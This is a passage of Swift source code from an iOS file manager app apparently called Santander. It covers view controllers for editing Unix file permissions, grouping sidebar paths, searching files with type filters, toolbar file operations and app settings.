self.title = "Permissions" } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .edit, primaryAction: editAction) tableView.allowsSelectionDuringEditing = true } override func numberOfSections(in tableView: UITableView) -> Int { return 3 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { switch section { case 0, 1: return 4 case 2: return 3 default: fatalError("How did we get here?!") } } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { return cell(atIndexPath: indexPath) } override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? { switch section { case 0: return "Owner" case 1: return "Group" case 2: return "Other users" default: return nil } } func cell( atIndexPath indexPath: IndexPath ) -> UITableViewCell { let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) let permSet: Permission var firstRowText: String? = nil var firstRowSecondaryText: String? = nil switch indexPath.section { case 0: permSet = self.permissions.ownerPermissions firstRowText = "Owner" firstRowSecondaryText = self.permissions.ownerName case 1: permSet = self.permissions.groupPermissions firstRowText = "Group" firstRowSecondaryText = self.permissions.groupOwnerName case 2: permSet = self.permissions.otherUsersPermissions default: fatalError() } var conf = cell.defaultContentConfiguration() defer { cell.contentConfiguration = conf } if indexPath.row == correctRow(0, indexPath: indexPath) { conf.text = firstRowText conf.secondaryText = firstRowSecondaryText ?? "N/A" cell.accessoryType = .disclosureIndicator cell.editingAccessoryType = .disclosureIndicator cell.isUserInteractionEnabled = tableView(self.tableView, shouldHighlightRowAt: indexPath) return cell } let toCheck = permissionAtRow(atIndexPath: indexPath) switch indexPath.row { case correctRow(1, indexPath: indexPath): conf.text = "Read" conf.secondaryText = permSet.contains(toCheck) ? "Yes" : "No" case correctRow(2, indexPath: indexPath): conf.text = "Write" conf.secondaryText = permSet.contains(toCheck) ? "Yes" : "No" case correctRow(3, indexPath: indexPath): conf.text = "Execute" conf.secondaryText = permSet.contains(toCheck) ? "Yes" : "No" default: fatalError("Shouldn't have gotten here! row received: \(indexPath.row)") } if self.isEditing { conf.secondaryText = nil if permSet.contains(toCheck) { cell.editingAccessoryType = .checkmark } } return cell } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { if indexPath.row == correctRow(0, indexPath: indexPath) { let name = indexPath.section == 0 ? permissions.ownerName : permissions.groupOwnerName guard let name = name else { return // should NEVER be here } let type: PathGroupOwnerViewController.ItemType switch indexPath.section { case 0: type = .owner(ownerName: name) case 1: type = .group(groupName: name) default: fatalError() } self.navigationController?.pushViewController(PathGroupOwnerViewController(style: .insetGrouped, type: type, sourceVC: self, fileURL: permissions.fileURL), animated: true) return } guard self.isEditing else { return } let perm = permissionAtRow(atIndexPath: indexPath) switch indexPath.section { case 0: removeOrAddPermission(fromOptionSet: &permissions.ownerPermissions, forPermission: perm) case 1: removeOrAddPermission(fromOptionSet: &permissions.groupPermissions, forPermission: perm) case 2: removeOrAddPermission(fromOptionSet: &permissions.otherUsersPermissions, forPermission: perm) default: break } tableView.reloadRows(at: [indexPath], with: .fade) } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { if indexPath.row == correctRow(0, indexPath: indexPath) { switch indexPath.section { case 0: return permissions.ownerName != nil case 1: return permissions.groupOwnerName != nil default: fatalError() } } return self.isEditing } func permissionAtRow(atIndexPath indexPath: IndexPath) -> Permission { switch indexPath.row { case correctRow(1, indexPath: indexPath): return .read case correctRow(2, indexPath: indexPath): return .write case correctRow(3, indexPath: indexPath): return .execute default: fatalError() } } /// Due to the fact that the first row in the second section /// is different than the others, this function must be used to determine /// the appropriate indexPath func correctRow(_ num: Int, indexPath: IndexPath) -> Int { return indexPath.section == 2 ? num - 1 : num } override func setEditing(_ editing: Bool, animated: Bool) { super.setEditing(editing, animated: animated) navigationItem.rightBarButtonItem = UIBarButtonItem( systemItem: editing ? .done : .edit, primaryAction: editAction ) // applying the permissions if !editing, permissions != _permissionsClone { do { try permissions.apply() } catch { self.errorAlert(error, title: "Unable to change permissions of \"\(permissions.fileURL.lastPathComponent)\"") self.permissions = _permissionsClone } } self.tableView.reloadData() } override func tableView(_ tableView: UITableView, shouldIndentWhileEditingRowAt indexPath: IndexPath) -> Bool { return false } override func tableView(_ tableView: UITableView, editingStyleForRowAt indexPath: IndexPath) -> UITableViewCell.EditingStyle { return .none } /// Removes or adds the permission to the OptionSet func removeOrAddPermission(fromOptionSet set: inout Permission, forPermission perm: Permission) { if set.contains(perm) { set.remove(perm) } else { set.insert(perm) } } } ================================================ FILE: Santander/UI/Path/PathSidebarListViewController.swift ================================================ // // PathSidebarListViewController.swift // Santander // // Created by Serena on 25/06/2022 // import UIKit #warning("Make a view controller to create a new group") class PathSidebarListViewController: UIViewController, PathTransitioning, UICollectionViewDelegate { typealias Item = DiffableDataSourceItem typealias DataSource = UICollectionViewDiffableDataSource typealias CellRegistration = UICollectionView.CellRegistration var dataSource: DataSource! var pathGroups = UserPreferences.pathGroups var collectionView: UICollectionView! /// The view controller in the secondary column displaying the path list var subPathsSecondary: PathListViewController? { splitViewController?.viewController(for: .secondary) as? PathListViewController } init() { super.init(nibName: nil, bundle: nil) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { title = "Santander" setupCollectionView() setupDataSource() let newGroupAction = UIAction { self.presentNewGroupAlert() } let newGroupsButton = UIBarButtonItem(systemItem: .add, primaryAction: newGroupAction) setToolbarItems([newGroupsButton], animated: true) navigationController?.setToolbarHidden(false, animated: false) NotificationCenter.default.addObserver(forName: .pathGroupsDidChange, object: nil, queue: nil) { [self] notif in if let newGroups = notif.object as? [PathGroup] { self.pathGroups = newGroups addItems() } } } func setupCollectionView() { let layout = UICollectionViewCompositionalLayout { _, env in var layoutConf = UICollectionLayoutListConfiguration(appearance: .insetGrouped) layoutConf.headerMode = .firstItemInSection layoutConf.trailingSwipeActionsConfigurationProvider = { (indexPath: IndexPath) -> UISwipeActionsConfiguration? in let sectionAndRow = (indexPath.section, indexPath.row) // dont allow the first section or the first item of the first section (/) to be removed guard sectionAndRow != (0, 0) && sectionAndRow != (0, 1) else { return nil } let removeAction = UIContextualAction(style: .destructive, title: nil) { [self] _, _, completion in switch dataSource.itemIdentifier(for: indexPath) { case .section(let name): // removing a section UserPreferences.pathGroups.remove(at: indexPath.section) removeSection(name) case .item(_): // removing a row UserPreferences.pathGroups[indexPath.section].paths.remove(at: indexPath.row - 1) default: // should never get here (we only get here if itemIdentifier returns nil) return completion(false) } return completion(true) } removeAction.image = .remove return UISwipeActionsConfiguration(actions: [removeAction]) } return .list(using: layoutConf, layoutEnvironment: env) } self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: layout) collectionView.translatesAutoresizingMaskIntoConstraints = false collectionView.delegate = self view.addSubview(collectionView) collectionView.constraintCompletely(to: view) } func setupDataSource() { let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in var conf: UIListContentConfiguration switch itemIdentifier { case .section(let headerTitle): conf = .sidebarHeader() conf.text = headerTitle cell.accessories = [.outlineDisclosure()] case .item(var path): conf = cell.defaultContentConfiguration() conf.text = path.lastPathComponent conf.image = path.displayImage } cell.contentConfiguration = conf } dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, item in return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: item) } addItems() } func addItems() { var snapshot = dataSource.snapshot() if snapshot.sectionIdentifiers.isEmpty { snapshot.appendSections(pathGroups.map(\.name)) dataSource.apply(snapshot) } for group in pathGroups { var sectionSnapshot = NSDiffableDataSourceSectionSnapshot() let section: Item = .section(group.name) sectionSnapshot.append([section]) sectionSnapshot.expand([section]) let items = Item.fromItems(group.paths.map(Path.init(url:))) sectionSnapshot.append(items, to: section) dataSource.apply(sectionSnapshot, to: group.name) } } func removeSection(_ name: String) { var snapshot = dataSource.snapshot() snapshot.deleteSections([name]) dataSource.apply(snapshot) } func goToPath(path: Path) { let secondary = subPathsSecondary if !path.isDirectory { secondary?.goToFile(path: path) return } if let currentSubpathsPath = secondary?.currentPath { // make sure we're not going to a directory that the secondary column is already showing // or is a subpath of guard currentSubpathsPath != path else { return } // this is triggered if, for example, we're in /var/jb/tweaks and we pressed on the button // to go to /var or /var/jb // then we pop to the view controller rather than creating new ones if currentSubpathsPath.path.hasPrefix(path.path) { if let vcs = secondary?.navigationController?.viewControllers as? [PathListViewController], let first = vcs.first(where: { $0.currentPath == path }) { secondary?.navigationController?.popToViewController(first, animated: true) } } else if path.deletingLastPathComponent() != currentSubpathsPath { // if we're going to a path that has multiple parents after the current path // ie, going to /var/mobile/Media from /var // call the traverse function secondary?.traverseThroughPath(path) } else { splitViewController?.setViewController(PathListViewController(path: path), for: .secondary) } } else { let vc = PathListViewController(path: .root) splitViewController?.setViewController(vc, for: .secondary) if path != .root { subPathsSecondary?.traverseThroughPath(path) } } } func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { guard let item = dataSource.itemIdentifier(for: indexPath) else { return } switch item { case .section(_): break // shouldn't get here case .item(let path): goToPath(path: path) } } func presentNewGroupAlert() { let alert = UIAlertController(title: "New Group", message: nil, preferredStyle: .alert) alert.addTextField { textField in textField.placeholder = "Group name.." } let addAction = UIAlertAction(title: "Add", style: .default) { [self] _ in guard let name = alert.textFields?.first?.text else { return } if pathGroups.map(\.name).contains(name) { errorAlert("Group with same name already exists", title: "Unable to create Group with name \(name)") } let newGroup = PathGroup(name: name, paths: []) UserPreferences.pathGroups.append(newGroup) } alert.addAction(addAction) alert.addAction(.cancel()) present(alert, animated: true) } } ================================================ FILE: Santander/UI/Path/Search.swift ================================================ // // Search.swift // Santander // // Created by Serena on 25/06/2022 // import UIKit import UniformTypeIdentifiers extension PathListViewController: UISearchResultsUpdating, UISearchControllerDelegate, UISearchBarDelegate { func updateSearchResults(for searchController: UISearchController) { updateResults(searchBar: searchController.searchBar) } func searchBarCancelButtonClicked(_ searchBar: UISearchBar) { DispatchQueue.main.async { [self] in searchItem?.cancel() isSearching = false displayingSearchSuggestions = false reloadTableData() setupPermissionDeniedLabelIfNeeded() } } func searchBar(_ searchBar: UISearchBar, selectedScopeButtonIndexDidChange selectedScope: Int) { updateResults(searchBar: searchBar) } @objc func updateResults(searchBar: UISearchBar) { let selectedScope = searchBar.selectedScopeButtonIndex let query = SearchQuery(searchBar: searchBar) self.searchItem?.cancel() isSearching = true guard !query.isEmpty else { return } displayingSearchSuggestions = false let newWorkItem = DispatchWorkItem(qos: .userInteractive) { [self] in switch selectedScope { case 0: // searching in current directory let filtered = unfilteredContents.filter { url in return query.matches(url: url) } DispatchQueue.main.async { self.setFilteredContents(filtered) } case 1: // searching in subdirectories of the directory var snapshot = SnapshotType() snapshot.appendSections([0]) __enumeratePaths(unfilteredContents, withQuery: query, doBreak: { !isSearching }) { [self] path in DispatchQueue.main.async { let row: SubPathsRowItem = .path(path) if !snapshot.itemIdentifiers.contains(row) { snapshot.appendItems([row]) self.dataSource.apply(snapshot, animatingDifferences: false) } } } default: // should never get here break } } self.searchItem = newWorkItem DispatchQueue.global(qos: .userInteractive).asyncAfter( deadline: .now().advanced(by: .milliseconds(2)), execute: newWorkItem ) } func presentSearchController(_ searchController: UISearchController) { if isEditing { setEditing(false, animated: true) } switchToSearchSuggestions() permissionDeniedLabel?.removeFromSuperview() } private func __enumeratePaths(_ paths: [Path], withQuery query: SearchQuery, doBreak: () -> Bool, handler: (Path) -> ()) { for path in paths { if doBreak() { break } if query.matches(url: path) { handler(path) } if path.isDirectory { __enumeratePaths(path.contents, withQuery: query, doBreak: doBreak, handler: handler) } } } fileprivate struct SearchQuery { let searchText: String let conditions: [SearchSuggestion.Condition] let isSearchTextEmpty: Bool // whether or not the given URL should be displayed in search results // according to this query func matches(url: Path) -> Bool { let allConditionsSatisfied = conditions.allSatisfy { handler in handler(url) } if isSearchTextEmpty { return allConditionsSatisfied } return url.lastPathComponent.localizedCaseInsensitiveContains(searchText) && allConditionsSatisfied } var isEmpty: Bool { return isSearchTextEmpty && conditions.isEmpty } init(searchText: String, conditions: [SearchSuggestion.Condition]) { self.searchText = searchText self.conditions = conditions self.isSearchTextEmpty = searchText.isEmpty } init(searchBar: UISearchBar) { self.searchText = searchBar.text ?? "" self.conditions = searchBar.searchTextField.tokens.compactMap { $0.representedObject as? SearchSuggestion.Condition } self.isSearchTextEmpty = searchText.isEmpty } } } /// Represents a search suggestion to be displayed in the UI, /// with a given condition for the search results. @available(iOS 14.0, *) struct SearchSuggestion: Hashable { typealias Condition = (Path) -> Bool /// The name to be displayed in the search suggestion var name: String /// The image to be displayed in the search suggestion let image: UIImage? /// The condition to which the given URL should abide to var condition: Condition var searchToken: UISearchToken { let token = UISearchToken(icon: image, text: name) token.representedObject = condition return token } /// The search suggestion to display in the UI, based on the indexPath given static func displaySearchSuggestions(for indexPath: IndexPath, typesToCheck: [UTType]? = nil) -> SearchSuggestion { switch (indexPath.section, indexPath.row) { case (0, 0): return SearchSuggestion(name: "Type", image: UIImage(systemName: "menucard")) { url in guard let typesToCheck = typesToCheck, let urlType = url.contentType else { return false } let isSubtype = typesToCheck.contains { type in urlType.isSubtype(of: type) } return typesToCheck.contains(urlType) || isSubtype } case (1, 0): return SearchSuggestion(name: "File", image: UIImage(systemName: "doc")) { url in return !url.isDirectory } case (1, 1): return SearchSuggestion(name: "Directory", image: UIImage(systemName: "folder")) { url in return url.isDirectory } case (1, 2): return SearchSuggestion(name: "Symbolic Link", image: UIImage(systemName: "link")) { url in return url.url.isSymlink } case (2, 0): return SearchSuggestion(name: "Executable", image: UIImage(systemName: "terminal")) { url in return !url.isDirectory && FileManager.default.isExecutableFile(atPath: url.path) } case (2, 1): return SearchSuggestion(name: "Readable", image: UIImage(systemName: "book")) { url in return url.isReadable } case (2, 2): return SearchSuggestion(name: "Writable", image: UIImage(systemName: "pencil")) { url in return FileManager.default.isWritableFile(atPath: url.path) } default: fatalError() } } /// The index paths of the search suggestions static let searchSuggestionSectionAndRows = [ IndexPath(row: 0, section: 0), IndexPath(row: 0, section: 1), IndexPath(row: 1, section: 1), IndexPath(row: 2, section: 1), IndexPath(row: 0, section: 2), IndexPath(row: 1, section: 2), IndexPath(row: 2, section: 2) ] static func == (lhs: SearchSuggestion, rhs: SearchSuggestion) -> Bool { return lhs.name == rhs.name && lhs.image == rhs.image } func hash(into hasher: inout Hasher) { hasher.combine(self.name) hasher.combine(self.image) } } ================================================ FILE: Santander/UI/Path/ToolbarItems.swift ================================================ // // ToolbarItems.swift // Santander // // Created by Serena on 04/08/2022. // import UIKit import CompressionWrapper extension PathListViewController: AudioPlayerToolbarDelegate { @objc func setupOrUpdateToolbar() { let trashAction = UIAction { let confirmationController = UIAlertController(title: "Are you sure you want to delete \(self.selectedItems.count) item(s)?", message: nil, preferredStyle: .alert) let deleteAction = UIAlertAction(title: "Delete", style: .destructive) { _ in do { try FSOperation.perform(.removeItems(items: self.selectedItems.map(\.url)), rootHelperConf: RootConf.shared) } catch { self.errorAlert(error, title: "Unable to remove items") } } confirmationController.addAction(.cancel()) confirmationController.addAction(deleteAction) self.present(confirmationController, animated: true) } let trash = UIBarButtonItem(systemItem: .trash, primaryAction: trashAction) trash.tintColor = .systemRed let shareAction = UIAction { self.presentActivityVC(forItems: self.selectedItems) } let share = UIBarButtonItem(image: UIImage(systemName: "square.and.arrow.up"), primaryAction: shareAction) let moreItems = UIBarButtonItem(image: UIImage(systemName: "ellipsis.circle"), menu: makeToolbarMoreItemsMenu()) let items = [trash, .flexibleSpace(), share, .flexibleSpace(), moreItems].map { item in item.isEnabled = !selectedItems.isEmpty return item } self.toolbarItems = items self.navigationController?.setToolbarHidden(false, animated: true) self.navigationController?.toolbar.viewWithTag(100)?.removeFromSuperview() // if necessary } @objc func hideToolbarItems() { self.toolbarItems = [] self.navigationController?.setToolbarHidden(true, animated: true) // since we're hiding the toolbar items, (copy, move, etc) // lets see if we can bring the audio toolbar back if possible setupAudioToolbarIfPossible() } fileprivate func makeToolbarMoreItemsMenu() -> UIMenu { let moveAction = UIAction(title: "Move", image: UIImage(systemName: "arrow.right")) { _ in let vc = PathOperationViewController(paths: self.selectedItems.toURL(), operationType: .move) self.present(UINavigationController(rootViewController: vc), animated: true) } let copyAction = UIAction(title: "Copy", image: UIImage(systemName: "doc.on.doc")) { _ in let vc = PathOperationViewController(paths: self.selectedItems.toURL(), operationType: .copy) self.present(UINavigationController(rootViewController: vc), animated: true) } let symlinkAction = UIAction(title: "Alias", image: UIImage(systemName: "link")) { _ in let vc = PathOperationViewController(paths: self.selectedItems.toURL(), operationType: .symlink) self.present(UINavigationController(rootViewController: vc), animated: true) } var children: [UIMenuElement] = [symlinkAction, moveAction, copyAction] if let currentPath = currentPath { let compresMenu = makeCompressionMenu(paths: self.selectedItems) { format in return currentPath.appendingPathComponent("Archive").appendingPathExtension(format.fileExtension) } children.append(compresMenu) } return UIMenu(children: children) } /// The button which says "Select all" or "Deselect all" when in edit mode @objc func setLeftBarSelectionButtonItem() { if !isEditing { navigationItem.leftBarButtonItem = nil return } let contents = self.contents // in order to not keep triggering the getter let allItemsSelected = selectedItems.count == contents.count let action = UIAction { for index in contents.indices { if !allItemsSelected { self.tableView.selectRow(at: IndexPath(row: index, section: 0), animated: true, scrollPosition: .none) } else { self.tableView.deselectRow(at: IndexPath(row: index, section: 0), animated: true) } } self.selectedItems = allItemsSelected ? [] : contents // why do i have to do this? welp! it works self.setLeftBarSelectionButtonItem() } self.navigationItem.leftBarButtonItem = UIBarButtonItem(title: allItemsSelected ? "Deselect All" : "Select All", primaryAction: action) setupOrUpdateToolbar() } func setupAudioToolbarIfPossible() { guard let audioPlayerController = audioPlayerController, let toolbar = navigationController?.toolbar else { return } navigationController?.setToolbarHidden(false, animated: true) let blurView = UIVisualEffectView(effect: UIBlurEffect(style: .regular)) blurView.frame = toolbar.bounds let audioToolbarView = AudioPlayerToolbarView(audioPlayerController, frame: blurView.bounds) audioToolbarView.delegate = self blurView.contentView.addSubview(audioToolbarView) blurView.tag = 100 blurView.addGestureRecognizer(UITapGestureRecognizer(target: self, action: #selector(toolbarAudioPreviewWasTapped))) toolbar.addSubview(blurView) } @objc func toolbarAudioPreviewWasTapped() { guard let vc = audioPlayerController else { return } // TERRIBLE WORKAROUND: - if the user goes to another ViewController // self.present simply won't work // so we just present from the keyWindow lol UIApplication.shared.sceneKeyWindow?.rootViewController?.present(UINavigationController(rootViewController: vc), animated: true) } func audioToolbarDidClickCancelButton(_ toolbar: AudioPlayerToolbarView) { // Why do we need to use rootNav? // for the same reason we must use the terrible workaround in `toolbarAudioPreviewWasTapped` let rootNav = UIApplication.shared.sceneKeyWindow?.rootViewController as? UINavigationController rootNav?.toolbar?.viewWithTag(100)?.removeFromSuperview() rootNav?.setToolbarHidden(true, animated: true) toolbar.audioPlayerController.player.stop() toolbar.audioPlayerController.removeFromSystemMediaPlayer() self.audioPlayerController = nil } } ================================================ FILE: Santander/UI/SettingsTableViewController.swift ================================================ // // SettingsTableViewController.swift // Santander // // Created by Serena on 24/06/2022 // import UIKit import LocalAuthentication import UniformTypeIdentifiers class SettingsTableViewController: UITableViewController { lazy var colorPickerVC: UIColorPickerViewController = { let vc = UIColorPickerViewController() vc.selectedColor = UserPreferences.appTintColor.uiColor vc.delegate = self return vc }() override func viewDidLoad() { super.viewDidLoad() self.title = "Settings" self.navigationController?.navigationBar.prefersLargeTitles = false } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override init(style: UITableView.Style) { super.init(style: style) } override func numberOfSections(in tableView: UITableView) -> Int { return 4 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { switch section { case 0: return 1 case 1: return 4 case 2: return 3 case 3: return UserPreferences.useLastOpenedPathWhenLaunching ? 1 : 2 default: fatalError("How'd we get here?") } } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { switch (indexPath.section, indexPath.row) { case (0, 0): let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() conf.text = "Root Helper" conf.secondaryText = "Disabled" // haha no root helper for you cell.contentConfiguration = conf return cell case (1, 0): // TODO: - For anything that uses a switch, start using accessory views instead return cellWithView(settingsSwitch(forIndexPath: indexPath), text: "Large navigation titles") case (1, 1): return cellWithView(settingsSwitch(forIndexPath: indexPath), text: "Always show search bar") case (1, 2): return cellWithView(settingsSwitch(forIndexPath: indexPath), text: "Show information button") case (1, 3): return cellWithView(settingsSwitch(forIndexPath: indexPath), text: "List recently used items in application shortcuts") case (2, 0): let cell = UITableViewCell() var conf = cell.defaultContentConfiguration() conf.text = "Tint Color" cell.contentConfiguration = conf cell.accessoryView = cell.colorCircleAccessoryView(color: UserPreferences.appTintColor.uiColor) return cell case (2, 1): return cellWithView(setupStyleButton(), text: "Table View Style") case (2, 2): return cellWithView(setupAppearanceButton(), text: "Appearance") case (3, 0): return cellWithView(setupLaunchPathButton(), text: "Launch Path") case (3, 1): let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() conf.text = "Custom Launch Path" conf.secondaryText = UserPreferences.userPreferredLaunchPath ?? "N/A" cell.contentConfiguration = conf return cell default: fatalError() } } fileprivate func setupAppearanceButton() -> UIButton { let button = UIButton() let currentStyle = UIUserInterfaceStyle(rawValue: UserPreferences.preferredInterfaceStyle) ?? .unspecified button.setTitle(currentStyle.description, for: .normal) button.setTitleColor(.systemGray, for: .normal) let chosenStyle = UserPreferences.preferredInterfaceStyle let actions = UIUserInterfaceStyle.allCases.map { style in return UIAction(title: style.description, state: chosenStyle == style.rawValue ? .on : .off) { _ in self.view.window?.overrideUserInterfaceStyle = style UserPreferences.preferredInterfaceStyle = style.rawValue self.tableView.reloadRows(at: [IndexPath(row: 2, section: 2)], with: .fade) } } button.menu = UIMenu(children: actions) button.showsMenuAsPrimaryAction = true return button } fileprivate func setupStyleButton() -> UIButton { let button = UIButton() let selectedStyle = UITableView.Style.userPreferred button.setTitle(selectedStyle.description, for: .normal) button.setTitleColor(.systemGray, for: .normal) let actions = UITableView.Style.allCases.map { style in return UIAction(title: style.description, state: selectedStyle == style ? .on : .off) { _ in UserPreferences.preferredTableViewStyle = style.rawValue self.tableView.reloadRows(at: [IndexPath(row: 1, section: 2)], with: .none) } } button.menu = UIMenu(children: actions) button.showsMenuAsPrimaryAction = true return button } fileprivate func setupLaunchPathButton() -> UIButton { let button = UIButton() let customPathChosen = !UserPreferences.useLastOpenedPathWhenLaunching button.setTitle(customPathChosen ? "Custom Path" : "Last Opened Path", for: .normal) button.setTitleColor(.systemGray, for: .normal) let lastOpenedPathAction = UIAction(title: "Last Opened Path", state: UserPreferences.useLastOpenedPathWhenLaunching ? .on : .off) { _ in UserPreferences.useLastOpenedPathWhenLaunching = true self.tableView.reloadData() } let otherPathAction = UIAction(title: "Custom Path", state: customPathChosen ? .on : .off) { _ in UserPreferences.useLastOpenedPathWhenLaunching = false if UserPreferences.userPreferredLaunchPath == nil { self.changeCustomLaunchPathAlert() } else { self.tableView.reloadData() } } button.menu = UIMenu(children: [lastOpenedPathAction, otherPathAction]) button.showsMenuAsPrimaryAction = true return button } override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? { switch section { case 0: return "Root" case 1: return "Views" case 2: return "Theming" case 3: return "Other" default: return nil } } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { switch (indexPath.section, indexPath.row) { case (2, 0): self.present(colorPickerVC, animated: true) case (3, 1): self.changeCustomLaunchPathAlert() default: break } } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { return (indexPath.section, indexPath.row) == (2, 0) || (indexPath.section, indexPath.row) == (3, 1) } func defaultsKey(forIndexPath indexPath: IndexPath) -> String { switch (indexPath.section, indexPath.row) { case (0, 0): return "RootHelperEnabled" case (1, 0): return "UseLargeNavTitles" case (1, 1): return "AlwaysShowSearchBar" case (1, 2): return "ShowInfoButton" case (1, 3): return "DisplayRecentlyUsedPathsInAppShortcuts" default: fatalError() } } fileprivate func changeCustomLaunchPathAlert() { let alert = UIAlertController(title: "Path", message: "Enter the other path you want to be opened at launch", preferredStyle: .alert) alert.addTextField() alert.addAction(.cancel()) let applyAction = UIAlertAction(title: "Add", style: .default) { _ in guard let text = alert.textFields?.first?.text, !text.isEmpty else { self.errorAlert("Input text is invalid or empty", title: "Unable to set path as Launch Path") return } let url = URL(fileURLWithPath: text) guard url.isDirectory else { self.errorAlert("Path must be a directory", title: "Unable to set path as Launch Path") return } UserPreferences.useLastOpenedPathWhenLaunching = false UserPreferences.userPreferredLaunchPath = url.path } alert.addAction(applyAction) self.present(alert, animated: true) } /// Whether or not the option at the specific index path is enabled func switchOptionIsEnabled(forIndexPath indexPath: IndexPath) -> Bool { switch (indexPath.section, indexPath.row) { case (0, 0): return UserPreferences.rootHelperIsEnabled case (1, 0): return UserPreferences.useLargeNavigationTitles case (1, 1): return UserPreferences.alwaysShowSearchBar case (1, 2): return UserPreferences.showInfoButton case (1, 3): return UserPreferences.displayRecentlyBookmarked default: fatalError("Got unknown index path in \(#function)! IndexPath: \(indexPath)") } } func settingsSwitch(forIndexPath indexPath: IndexPath) -> UISwitch { // stupid ass swift doesn't allow you to name a variable "switch" without those ugly `` marks let s = UISwitch() s.isOn = switchOptionIsEnabled(forIndexPath: indexPath) let action = UIAction { [self] _ in // root helper if (indexPath.section, indexPath.row) == (0, 0) { rootHelperDidClickEnable() } else { UserDefaults.standard.set(s.isOn, forKey: defaultsKey(forIndexPath: indexPath)) } } s.addAction(action, for: .valueChanged) return s } fileprivate func rootHelperDidClickEnable() { let context = LAContext() // no authentication for turning off or for when there is no authentication method if UserPreferences.rootHelperIsEnabled || !context.canEvaluatePolicy(.deviceOwnerAuthentication, error: nil) { UserPreferences.rootHelperIsEnabled.toggle() return } context.evaluatePolicy(.deviceOwnerAuthentication, localizedReason: "To enable the Root Helper.") { didSucceed, error in guard didSucceed else { DispatchQueue.main.async { self.errorAlert(error?.localizedDescription ?? "Unknown Error", title: "Unable to authenticate") self.tableView.reloadRows(at: [IndexPath(row: 0, section: 0)], with: .automatic) } return } UserPreferences.rootHelperIsEnabled = true DispatchQueue.main.async { self.tableView.reloadRows(at: [IndexPath(row: 0, section: 0)], with: .automatic) } } } } extension SettingsTableViewController: UIColorPickerViewControllerDelegate { func colorPickerViewControllerDidFinish(_ viewController: UIColorPickerViewController) { let color = viewController.selectedColor DispatchQueue.main.async { UserPreferences.appTintColor = CodableColor(color) self.view.window?.tintColor = color self.tableView.reloadRows(at: [IndexPath(row: 0, section: 2)], with: .fade) } } } ================================================ FILE: Santander/UI/TypeSelectionViewController.swift ================================================ // // TypeSelectionViewController.swift // Santander // // Created by Serena on 01/07/2022 // import UIKit import UniformTypeIdentifiers /// A View Controller to select one or multiple UniformTypeIdentifiers class TypesSelectionCollectionViewController: UICollectionViewController { typealias DismissHandler = (([UTType]) -> Void) typealias Item = DiffableDataSourceItem typealias DataSource = UICollectionViewDiffableDataSource typealias CellRegistration = UICollectionView.CellRegistration var dismissHandler: DismissHandler var dataSource: DataSource! var selectedTypes: Set = [] { didSet { // Enable or disable done button based on whether or not the selection is empty navigationItem.rightBarButtonItem?.isEnabled = !selectedTypes.isEmpty } } let allItems = TypesCollection.all() init(dismissHandler: @escaping DismissHandler) { self.dismissHandler = dismissHandler let layout = UICollectionViewCompositionalLayout { _, env in var layoutConf = UICollectionLayoutListConfiguration(appearance: .insetGrouped) layoutConf.headerMode = .firstItemInSection return NSCollectionLayoutSection.list(using: layoutConf, layoutEnvironment: env) } super.init(collectionViewLayout: layout) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { title = "Types" let cancelAction = UIAction { self.selectedTypes = [] self.dismiss(animated: true) } let doneAction = UIAction { self.dismiss(animated: true) } let searchController = UISearchController() searchController.searchBar.delegate = self navigationItem.searchController = searchController navigationItem.hidesSearchBarWhenScrolling = false navigationItem.leftBarButtonItem = UIBarButtonItem(systemItem: .cancel, primaryAction: cancelAction) let rightBarButton = UIBarButtonItem(systemItem: .done, primaryAction: doneAction) rightBarButton.isEnabled = false // not enabled by default bc no items are selected rn in setup navigationItem.rightBarButtonItem = rightBarButton makeDataSource() } override func viewDidDisappear(_ animated: Bool) { super.viewDidDisappear(animated) dismissHandler(Array(selectedTypes)) } func makeDataSource() { let cellRegistration = CellRegistration { [self] cell, indexPath, itemIdentifier in var conf: UIListContentConfiguration switch itemIdentifier { case .section(let section): conf = .sidebarHeader() conf.text = section.description cell.accessories = [.outlineDisclosure()] case .item(let type): conf = cell.defaultContentConfiguration() conf.text = type.localizedDescription cell.accessories = selectedTypes.contains(type) ? [.checkmark()] : [] } cell.contentConfiguration = conf } self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier) } showItems(fromCollections: allItems) } func showItems(fromCollections coll: [TypesCollection], animatingDifferences: Bool = false) { var snapshot = NSDiffableDataSourceSnapshot() let justSections = coll.map(\.section) snapshot.appendSections(justSections) dataSource.apply(snapshot, animatingDifferences: false) for collection in coll { let collectionSection = Item.section(collection.section) var section = NSDiffableDataSourceSectionSnapshot() section.append([collectionSection]) let types = Item.fromItems(collection.types) section.append(types, to: collectionSection) section.expand([collectionSection]) dataSource.apply(section, to: collection.section, animatingDifferences: animatingDifferences) } } override func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { // "why force unwrap here!" because silently failing is a worse option, and the user will be questioning // why tapping didn't work 